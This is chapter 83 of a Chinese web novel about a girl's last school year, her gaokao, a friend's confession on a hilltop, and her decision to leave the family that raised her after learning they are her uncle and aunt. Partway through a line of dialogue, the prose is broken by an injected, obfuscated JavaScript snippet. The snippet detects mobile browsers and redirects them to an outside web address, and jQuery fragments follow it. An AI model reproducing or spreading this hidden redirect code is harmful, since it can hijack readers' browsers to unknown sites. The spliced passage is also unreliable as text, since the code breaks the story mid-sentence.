「ChapterEighty-three」
-
高三日子过得煎熬又漫长,晦暗黯淡和若有若无的光亮充斥在校园的每个角落,经一中的百日誓师大会举办地尤其隆重。
当天,学校请了每一位高三学子的家长,本来何兴庆说是要打电话给徐荷的,越娉婷给一手拦住了,说是:在新西兰也回不来。索性这事没找徐荷和越势。
但没人去也不像样,越娉婷随口撂了一句,就说让何兴庆去了。
男人抿了抿唇,就应了下来。
按照流程,学校需要各种发言,然后授旗宣誓,紧接着到感恩父母,经一中不知道从哪学来的抽象操作,要求学生给家长下跪拜几拜。
这事在下面引起一阵哄笑,越娉婷同学跪下来的时候一直在笑,尤其是班上那几个打打闹闹的,尤其不省心。
何兴庆看着这场面觉得不太好,就小声告诉越娉婷:“阿婷,这就算了,我我,我不太合适。”
越娉婷摇了摇头,“没事的,一个流程而已。”
她说完就跟着学校的要求跪下,双手微抬屈起,枕在中间,头磕到手背上,一整个完整的动作。
何兴庆站在她跟前,眼神中充斥不忍,心疼。
越娉婷始终表情淡淡,跪完就起来,何兴庆伸手拉她,她也抓住他的手站起来。
学校又有话说,家长和学生只能原地等待,何兴庆弯下脑袋问她:“腿疼不?”
越娉婷看着男人褶皱的眉眼,静了几秒,摇摇头。
何兴庆笑了笑,抬手,从她身后绕过她的背,抓到她另一边肩膀上,把人往身边按了按,冲她强调:“阿婷懂得感恩,是个好姑娘,一定前途无量,以后会收获很多成功和幸福。”
越娉婷被他看着,没说话,男人笑眼褶着眼梢的皮肤,眼里亮堂,她感受到他按到她的肩,把她往身边又拉紧了些。
…
在学校的最后一天,晴空万里,蝉鸣连绵。
越娉婷正在教室里写数学卷子,外面突然一阵惊呼,紧接着教室里的人纷纷往外看。
她才开始没注意,后来教室里绝大部分都出去了,她也抬起头向外看。
明明是夏天,热得屁股腚都冒汗,外面愣是下起来鹅毛大“雪”,越娉婷眨了眨眼,起身出门看。
是整栋高三楼都在撕书。
越娉婷耳朵边挤满了喧闹的杂音,有哭声,喊叫声,打闹声,笑声。
她穿越人群,挤到二楼防护墙边上,看到楼上理科班在“飞雪”,紧跟着这层文科班也开始挥霍。
白色的纸片像雪一样洋洋洒洒地从她的头顶飘下来,几片落在掌心,上面还有原主人的字迹。
越娉婷没想撕书,但被徐颂看到,塞了她一手他的草稿纸。
她也不好意思丢了,干脆撕了个稀碎,从二楼抛下去。
纸片乘着风,在空中流转,飘逸,然后跟成群成片的纸张一起,化作“雪”,轻飘飘落地。
“高三(一)班全校最牛逼!”
“高三(四)班才是最牛逼的!”
“我们班最厉害!”
冷不丁的,人群里突然出现了一声雄壮的声音,赵路行妖言惑众:
“高三(一)班徐颂实名相亲!有意dd!”
越娉婷跟在大部队后面笑,徐颂追着赵路行满二楼揍。
回过头来,洋洋洒洒的纸片掉到她头上,她伸手去拿,小纸片落在掌心,不知道是不是因为越娉婷又出现幻觉了,她居然看到那纸片真的变成了雪花。
而后,她揉了揉眼,确认自己没看错。
匆忙地,越娉婷从口袋里拿出那枚他留下来的雪花冰晶,两只手拼在一起,发现居然长得一模一样。
她开始有点恍惚,抬起眼,在混乱的人群里到处寻找,从东边奔到西边,始终没找到想找的人。
她又低下头,发现手里的雪花片又变成了纸,越娉婷揉了揉眼睛,觉得自己太敏感了,又回到教室,坐下来写卷子。
外面闹声迟迟没有结束,越娉婷觉得掌心发烫,她皱了皱眉,脱开笔。
打开右手手心。
恰好此时,徐颂压着赵路行从前门撞进来,由于速度过快,坐在前排的同学都没有注意,他们卷起外面成天的纸片和废纸带到教室里。
一阵热风吹进来,把东西吹到前排的同学身上,打断了别人思考的时间,引起一阵不满。
废纸和卷子都是四分五裂的被吹进来的,大都拍到前排同学课桌上脸上头上,还有地上。
越娉婷刚好坐在第二组第二排的位置,角度非常不好,按道理来说,徐颂带着赵路行撞门进来,不说会不会撞到她,就是带着强烈的风力和冲击力,越娉婷也不可能不被废纸屑贴到。
可偏偏一张都没有碰到她。
周围人都在唏嘘,边上的和芷卉还在整理课桌,气鼓鼓的:“真是,怎么不出去玩!徐颂,你想不想好好学习了你!”
知道打扰到室内同学学习,徐颂压着赵路行弯腰道歉,自己也跟着弯了半个腰,连连道歉,又带着人出去了。
旁边同学不满地吵了几句,
“刚才飞进来一堆纸,把我桌子上弄得都是。”
“还有一阵风,把我头发都吹乱了。”
和芷卉看她一动不动盯着自己的手心,疑惑问:“婷婷,你在干嘛,你的手里没有纸啊。”
越娉婷眨了眨眼,没说话。
不对,不是纸。
刚才是有一阵风,
不偏不倚地,落在她掌心。
…
高考在喧嚣六月,暑期当头,烈日骄阳。
越娉婷考完语文出来的时候,何兴庆已经买完盒饭了,说是老朋友推荐的,特别好吃。
越娉婷笑了笑,跟着回了酒店,吃完饭休息了一小会,下午又去考了数学。
第二题上午考了英语,后面文综考完,出考场的时候,人潮挤得她都走不动。
没有等到何兴庆,她被徐颂还有其他同学拉出去玩了。
手机揣在兜里一个下午带晚上都没有接电话,跟徐颂他们去完游乐园去KTV,满城市乱跑,还在晚上八点钟爬上丛山山顶,虽然这次只有他们三个人,没有了李霜星和边岱,几个人带着新朋友也是玩得其乐融融。
快要散伙了,中学时代彻底结束了,和芷卉站在丛山山顶,大声呼喊:“艾合买提·和芷卉,终于要回家啦!”
新疆离经海,跨越西部中部,距离长到能从路上看春夏秋冬,和芷卉年少跟随父母,奶奶远离故土,留在经海求学,现在,她终于收获硕实累累,凯旋而归。
越娉婷没参与,在边上喝饮料。
徐颂也跟着喊了句,说自己要开某某体大,豪情壮志。
赵路行带着兄弟几个来丛山山顶,望见和芷卉和徐颂站在天台上,朝着徐颂吹了吹口哨。
徐颂穿着短t,回头,赵路行跟其他几个人勾肩搭背,冲他扬下巴。
视线有一搭没一搭地落在她身边的人身上。
徐颂怒瞪了他几秒,没理他,又转过身去。
越娉婷就在草地远远看着几个人眉来眼去,拿起水杯咕噜了几口。
正当她没注意呢,赵路行就开始起哄,连带着边上的人也开始闹。
越娉婷咽了口水下去,看到天台,徐颂不知道什么时候牵住了和芷卉的手。
她挑了挑眉,继续看。
“那个,纪委,其实,这两年多都辛苦你的。”他摸了摸头,不会说话。
和芷卉的手指被他拉着,脸上红扑扑的,别过脸去:“辛苦我什么,辛苦我天天记你名字,然后让你罚站吗?”
“那那那那当然不是了,”徐颂睁着眼睛说瞎话:“你记我名字不也是为了完成任务吗,你记得好!我支持你!”
越娉婷:“……”这么夸张。
赵路行在后面笑疯了,徐颂又回头睨他一眼,似乎让他滚远点。
赵路行不行了怕给徐颂揍,赶紧带着兄弟到越娉婷边上坐下了。
徐颂在那头又开始了。
赵路行在边上拿起几根木棍丢到面前火柴堆里,问越娉婷:“诶大小姐,你哥今天追爱呢,怎么,不去帮一手?”
“他追爱我帮什么,追到了又不算我的。”她随口就说。
赵路行笑呵呵的,接下来就应:“算你的也没用啊,你放弃你的老相好了?”
此话一出,场面明显一默。
夜晚的冷风吹到越娉婷侧脸,冷得像刺,她却波澜不惊,只是淡淡抿了抿唇。
旁边其他人见赵路行哪壶不开提哪壶,用胳膊肘碰了碰他。
人也精明,知道自己说错话了,马上咽了咽口水,挽回道:“害,我就随口一说,你别当真,你别当真。”
那边徐颂的进度非常可观,越娉婷没有作声地抬起眼看了一会儿,直到徐颂抱住和芷卉,旁边响起掌声,她才蛄蛹了一下鼓了鼓掌。
觉得自己不够意思,随后站起身,拿上衣服就走了。
徐颂发现的时候,越娉婷已经跑了,他还着急忙慌找,赵路行说越娉婷回家了,徐颂还诧异为啥回家了,旁边兄弟咕噜两句把刚才的事捅出来,徐颂差点脱鞋把鞋底板贴他脑门上。
“你真是蠢死了你。”
…
今天很特别,越娉婷一路上悠哉悠哉晃着步子回到家,灯火通明,已经很久没看到这种场景了。
她踩步子进去。
刚一开门第一脚,就听到越势发火的声音,
“你说她这么晚都没回来?!”
何兴庆在边上,让越势不要这么激动:“没事的大哥,这才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195262|188681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几点,这孩子考完试放假,你管她呢。”
徐荷从厨房出来,顺了句:“就是啊,幺幺才考完试,你就不能让着点孩子。”
“我怎么让她?她一个小姑娘,她在外面这么晚了万一遇到什么危险怎么办?简直是胡闹!”越势越想越不对劲,看向何兴庆:“她不会经常这样吧,经常半夜回家?”
何兴庆低头喝茶没说话。
“简直是没有规矩!”
越娉婷咽了咽口水,捏紧指腹,似乎脊背都绷紧了些。
何兴庆开口:“孩子嘛,阿婷又不是那种会胡闹的姑娘,不至于大哥发这么大火。”
越势又要开口了,门口却传来一阵换鞋的窸窣声,紧接着越娉婷出声:“我回来了。”
听到声音,三人齐刷刷地看向门口。
越娉婷穿着白色体恤,手上拿了件粉色防晒衣,长发垂到胸口,脸上红扑扑的,却又红里泛白,瘦瘦小小地出现在面前。
徐荷看到第一眼就皱起了眉,赶忙走过去。
越娉婷抬眼,看到她,没有想象中的期许,更多的是平静。
“幺幺,你怎么瘦了这么多啊,最近没好好吃饭?”徐荷捏着她的肩来回看了看,关心问道。
徐荷以为越娉婷应该会在看到她的那一刻跳起来,跑到她身边来抱住她,然后撒娇,但事实是,什么也没有。
越娉婷抿了抿唇,说:“高三复习压力大,就瘦了点,还是认真吃饭了的。”
她说完就脱开了徐荷的手,往客厅走,看到越势和何兴庆也正看着自己。
她不知道要说什么,听到何兴庆抢先一步问她:“阿婷,今天玩得开心吗,看你一考完试就被叫走了。”
越娉婷点头,“开心。”
径直越过,要往楼上走。
“站住。”越势的声音强势又有力。
她立住脚跟,没动。
“幺幺,你小时候,家里教过你,见人要喊人,这是最基本的礼貌,你今天回来这么晚,不能说连这个也忘记了。”越势尝试和声和气地提醒她。
越娉婷脊背绷直,目不斜视地看着面前虚无的空气,而后鼓足勇气,转头,对着正在看她的徐荷和越势,道:
“舅舅好,舅妈好。”
这话声如一声响雷在三个人心中打响。
徐荷手指微微抖了一下,和越势目光相碰,都齐齐地看向越娉婷。
何兴庆缓慢站起来,揪着心看着越娉婷。
“我都知道了,”越娉婷很平静:“我也想明白了。”
“我是个普通人,我本来没有资格拥有这么丰富的生活,我本来也是要像我的同学一样,有一对很辛苦很努力的父母,然后很努力很刻苦的学习,才能拥抱我现在拥有的生活。”
“但我却意外从一开始就拥有了这样的生活,我不用像他们一样起早贪黑的刻苦读书,也不用省吃俭用体贴经济,我从很小的时候就在罗马,我不需要付出努力就可以得到我想要的一切。”
“这本来很好,但是我却在突然有一天,发现这一切都是假的。”
场面很安静。
越娉婷叹了口气:“其实说不上多难过,就是很恍惚,感觉像这十八年都在做梦,只是今年突然梦醒了。”
“但我想到,我所拥有的爱,陪伴,亲昵,幸福,都在梦醒的一瞬间消失了,还是会很怅然若失的。”
“我原来以为我不用体恤任何人,因为大家都很幸福,但我现在不这样觉得了,我觉得大家应该是付出了很多很多辛苦才得到了今天的幸福。”
“所以就算这幸福是假的,我也承认了。”
越娉婷扭头对何兴庆问:“你有房子吗?”
她没有加昵称。
何兴庆点头。
“在经海吗?”
“在加耳。”
越娉婷抿起唇,没绷住,腮帮子微微鼓起来一点点,红潮眼眶被她转身挡住,滚烫的眼泪“啪嗒”掉下来几颗,留下一个弱小又决绝的背影,
“那我们走吧,我不属于这里了。”
…
飞机是三天后的,下了雨。
越娉婷东西没带多少,就穿了一行李箱衣服加上一个书包放点自己的小物件,和何兴庆就来了机场。
男人还是像之前那般相处,待她温温柔柔的,只不过现在不自称“叔”了,也不自称“爸”,凡是就以“我”开口。
越娉婷创伤后应激障碍一直没有好,准确来说是时好时坏,稍微好点的时候只是精神恍惚,差点的时候陷入幻觉一觉不醒。
上了飞机她就吞了几颗安眠药下去,靠在椅背上,感觉到何兴庆给她盖了盖毯子,然后昏睡过去。
梦境里,光影虚幻,她化作一缕气,穿越千山万水,终于追到那阵风。
那阵,刮在心上,落在掌心的风。